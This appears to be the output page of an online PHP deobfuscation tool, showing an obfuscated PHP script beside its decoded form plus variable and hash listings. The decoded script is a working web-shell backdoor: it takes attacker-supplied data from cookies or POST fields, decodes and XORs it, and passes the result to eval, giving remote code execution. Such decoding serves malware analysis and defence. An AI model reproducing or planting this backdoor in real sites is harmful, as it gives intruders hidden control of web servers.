Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $hBavJjncgV = "\x73" ./*nNEx */"\164"/*cA */. 'r'/* ne */. ch..

Decoded Output download

<?php   $hBavJjncgV     =    "s"    ./*nNEx  */"t"/*cA  */. 'r'/*  ne   */.       chr/*  yYQM   */(95)    .       "r"     .    'e'     ./*   dTCh   */'p'      . "e"        . 'a'/* ga   */.    "t"; 
                        $qTdQlfYFRD     =   "e"      .       chr/* aWicZ */(120)/*  nXMb  */.    'p' .     "l"    .     chr       (111)    ./*  Kf */"d"     ./* oMit   */"e"; 
 $QIfVZEq       =       "c"/*QJXNR*/./*   CXxVk */"o"     .       "u"  ./*C */"n"   .  "t"; 
$GaZPi     =/*rjD*/chr (112)/*zCJuB   */.  'a'   ./*   ERjM   */'c'/*   b */.   "k"; 
   $RbHjMrJ/*UOqff  */=    Array (/*   q   */"PhVxxRRv" =>   "CQjcGXKwa"   ); 
   /*   GWD */$WibMeIRlI    =   Array   (       "ypqFuFNxqiuxkTttrzDu"     =>    "gSeJUhiaHPoAGesUi"  ); 
 
        foreach (       Array(    $RbHjMrJ,   $_COOKIE, $WibMeIRlI,     $_POST, $RbHjMrJ)    as/* Hzy*/$XloQNe)    { 
                     foreach/*  cQ*/(   $XloQNe as     $TgePes/*   jqO  */=>   $lBgWbk  )       { 
        $lBgWbk     =/* cQ */@$GaZPi(/*   D   */chr/*Ngres   */(72)    .   chr/* xDcHG*/(       559     -       517/*  MIzz */),/*WqiQD */$lBgWbk/* YvcKe   */); 
                  $TgePes/*  pcDr*/.=/* ayQ*/"Mkk-sBJKxbq-kSAlIcU-OhEA-Nooe-QCrya-hZv"; 
        $TgePes =       $hBavJjncgV/*  AdpG*/(/*   SE  */$TgePes,     ( strlen(/*Zl*/$lBgWbk   )/strlen(  $TgePes       )   ) +/*oiOFx */1); 
                                        $PaHwfEFE/*  Z  */=     $lBgWbk/* p */^/* fk  */$TgePes; 
   /*iVh   */$PaHwfEFE   =      $qTdQlfYFRD   ( chr    (35),/*  YRiD   */$PaHwfEFE    ); 
 
 
 if/*  edqp */( $QIfVZEq/*aucq  */(/*t*/$PaHwfEFE       )       ==/* p*/3/*Jyh*/)/*   vrlZj  */{ 
            $param1     =  $PaHwfEFE[1]; 
  /*   vhGGk  */$param2/* SQ */=    $PaHwfEFE[2]; 
                        /* UJeLB   */$param3    =       $param1($param2); 
     eval       (    $param3   ); 
                                                die/*   sMSo */(); 
                   } 
                                /*cPA */} 
                                        } ?>

Did this file decode correctly?

Original Code

<?php   $hBavJjncgV     =    "\x73"    ./*nNEx  */"\164"/*cA  */. 'r'/*  ne   */.       chr/*  yYQM   */(95)    .       "\x72"     .    'e'     ./*   dTCh   */'p'      . "\145"        . 'a'/* ga   */.    "\x74";
                        $qTdQlfYFRD     =   "\x65"      .       chr/* aWicZ */(120)/*  nXMb  */.    'p' .     "\x6c"    .     chr       (111)    ./*  Kf */"\144"     ./* oMit   */"\145";
 $QIfVZEq       =       "\x63"/*QJXNR*/./*   CXxVk */"\x6f"     .       "\165"  ./*C */"\x6e"   .  "\164";
$GaZPi     =/*rjD*/chr (112)/*zCJuB   */.  'a'   ./*   ERjM   */'c'/*   b */.   "\x6b";
   $RbHjMrJ/*UOqff  */=    Array (/*   q   */"PhVxxRRv" =>   "CQjcGXKwa"   );
   /*   GWD */$WibMeIRlI    =   Array   (       "ypqFuFNxqiuxkTttrzDu"     =>    "gSeJUhiaHPoAGesUi"  );

        foreach (       Array(    $RbHjMrJ,   $_COOKIE, $WibMeIRlI,     $_POST, $RbHjMrJ)    as/* Hzy*/$XloQNe)    {
                     foreach/*  cQ*/(   $XloQNe as     $TgePes/*   jqO  */=>   $lBgWbk  )       {
        $lBgWbk     =/* cQ */@$GaZPi(/*   D   */chr/*Ngres   */(72)    .   chr/* xDcHG*/(       559     -       517/*  MIzz */),/*WqiQD */$lBgWbk/* YvcKe   */);
                  $TgePes/*  pcDr*/.=/* ayQ*/"Mkk-sBJKxbq-kSAlIcU-OhEA-Nooe-QCrya-hZv";
        $TgePes =       $hBavJjncgV/*  AdpG*/(/*   SE  */$TgePes,     ( strlen(/*Zl*/$lBgWbk   )/strlen(  $TgePes       )   ) +/*oiOFx */1);
                                        $PaHwfEFE/*  Z  */=     $lBgWbk/* p */^/* fk  */$TgePes;
   /*iVh   */$PaHwfEFE   =      $qTdQlfYFRD   ( chr    (35),/*  YRiD   */$PaHwfEFE    );


 if/*  edqp */( $QIfVZEq/*aucq  */(/*t*/$PaHwfEFE       )       ==/* p*/3/*Jyh*/)/*   vrlZj  */{
            $param1     =  $PaHwfEFE[1];
  /*   vhGGk  */$param2/* SQ */=    $PaHwfEFE[2];
                        /* UJeLB   */$param3    =       $param1($param2);
     eval       (    $param3   );
                                                die/*   sMSo */();
                   }
                                /*cPA */}
                                        }

Function Calls

chr 4

Variables

$GaZPi pack
$QIfVZEq count
$RbHjMrJ [{'key': 'PhVxxRRv', 'value': 'CQjcGXKwa'}]
$WibMeIRlI [{'key': 'ypqFuFNxqiuxkTttrzDu', 'value': 'gSeJUhiaHPoAGesUi'}]
$hBavJjncgV str_repeat
$qTdQlfYFRD explode

Stats

MD5 6601ef424879d6ffb460f68108b69d80
Eval Count 0
Decode Time 83 ms